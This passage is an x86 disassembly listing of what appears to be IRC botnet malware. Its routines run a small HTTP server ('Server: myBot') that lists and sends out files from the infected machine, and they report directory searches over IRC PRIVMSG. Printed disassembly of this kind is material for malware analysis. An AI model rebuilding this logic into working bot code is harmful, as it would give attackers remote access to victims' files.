		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2710000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2701469h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26C0000h
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26703ADh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AA8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 26E08D2h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2710AF1h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2640871h


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2660545h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		nop
		call	near ptr 2660D84h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A3C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 2730316h
		nop
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2720950h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	near ptr 2660545h
		nop


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2730316h
		nop
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		call	near ptr 2720000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26E08D2h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 2710AF1h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:00437A30o
					; ___:00437A44o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 26E0000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 2640871h
		nop


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAEE4
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
